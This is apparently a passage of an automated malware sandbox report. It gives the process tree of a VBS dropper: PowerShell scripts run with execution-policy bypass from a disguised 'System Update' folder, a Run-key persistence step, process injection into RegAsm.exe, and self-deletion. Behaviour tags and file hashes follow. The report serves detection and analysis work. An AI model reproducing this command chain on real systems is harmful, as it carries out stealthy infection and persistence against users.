- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"4⤵PID:1652
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"4⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\tqnrq.ps1"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4828 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2076
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"4⤵PID:560
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD59a6e88d25096b65d3117f153c72f948a
SHA1654af4d5d1c6c46a7ccde71b6cbedd137734cbe0
SHA256b371147b8406092f9abee000df0ce27640340770e08c47dc313ab509d7f9c372
SHA5123104fffc0ec1e90977e18aaed0e846b6797448be7d2e7875869e6ed620ab988e87b32f15cbe5dd699dd9ec197ee22c1ade83cd4cbc00d1be4a446a69a039d489
-
Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
Filesize
1.7MB
MD546153d1e4e7f4151898a8c84bbfa1037
SHA1eb4dcd68cce1346869a5c2ec55430968ab683df5
SHA2566104acedbcfcdaa76ad7e685a79d2581af61e8763f0b57c587df52c870a7a708
SHA512b4ead3814d5f8d04eaef62b0b457878f08453917b3de06b1fa2a9e67bf6107240fb98fbee8a09aae86ab9b21f5a1e321f5915dfbe179bd95cdb2a0a34bd69914
-
Filesize
334B
MD567cbfaaa070952232e7690e565f59a67
SHA16853fc3c1a0cc215ac5edaba8eb2b7bbc3b8ac4e
SHA256a6b849896d784cfec8eb3f214f53608ae21983b1d60d32c82b2e039f55a5ac20
SHA512c682e59212c5e053b074b08de9f7528432f8831d72b9a6810e73f3dd35efee66485249856f320aff40250da5066eb0f79b7d00cf664daef804c2546221137df2
-
Filesize
1KB
MD533e80cc4969a211a719ff8bf4f6b2078
SHA15ad4c0589339e0859b0aae8e43ce508763bdc78a
SHA256f1bff7a22e4edbd9e172774c175e9324f28315c78012de80316da61c4e21de2b
SHA512d3113e2d45080897e1f0a7d21a483b2d9e435930a8d94ec351bbdf7888f335b585d70d5cdb16d3632a4f90396e696244990e03df232c2ed4f5d3663ac5bcf94c
-
Filesize
948B
MD5721991167161c45d61b03e4dbad4984b
SHA1fd3fa85d142b5e8d4906d3e5bfe10c5347958457
SHA2560a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb
SHA512f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82